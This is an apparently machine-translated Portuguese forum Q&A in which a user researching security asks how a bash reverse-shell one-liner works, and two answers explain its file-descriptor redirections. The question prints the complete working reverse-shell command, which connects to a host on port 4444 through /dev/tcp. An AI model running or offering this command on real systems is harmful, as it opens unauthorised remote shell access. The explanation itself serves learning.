Como funciona esse redirecionamento de comando?

Como funciona esse redirecionamento de comando?

Estou fazendo algumas pesquisas de segurança e queria saber como o seguinte trecho funciona em sistemas operacionais baseados em Unix:

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

Estou totalmente ciente deo queeste código faz (ou seja, estabelece um shell reverso para 192.168.159.150 na porta 4444), mas não entendo o que essas seções estão fazendo:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

E, em geral, como essa coisa se encaixa para produzir a casca que eu vejo.

Alguém poderia ajudar a explicar isso ou me indicar a direção certa para entender isso?

Obrigado

Responder1

Um rápido resumo:

exec 5<>está abrindo um novo identificador de arquivo para leitura e escrita e depois nomeando-o5

cat <&5está lendo aquele identificador de arquivo recém-aberto

2>&5 >&5está redirecionando a saída do identificador de arquivo 2(stderr) e do identificador de arquivo 1(stdout) para o identificador de arquivo 5. Neste 1caso, está implícito, pois um número de identificador de arquivo não foi fornecido no segundo redirecionamento.

Responder2

Algumas partes da sua pergunta foram respondidasaqui

Mas

  1. Isso define o novo descritor de arquivo com o número 5. BTW 0 é STDIN, 1 é STDOUT, 2 é descritores de arquivo STDERR
  2. Ecoe as informações recebidas via TCP, IP 192.168.159.150, porta 4444
  3. Envie STDERR e STDOUT para o manipulador de arquivos 5, ou seja, rede

informação relacionada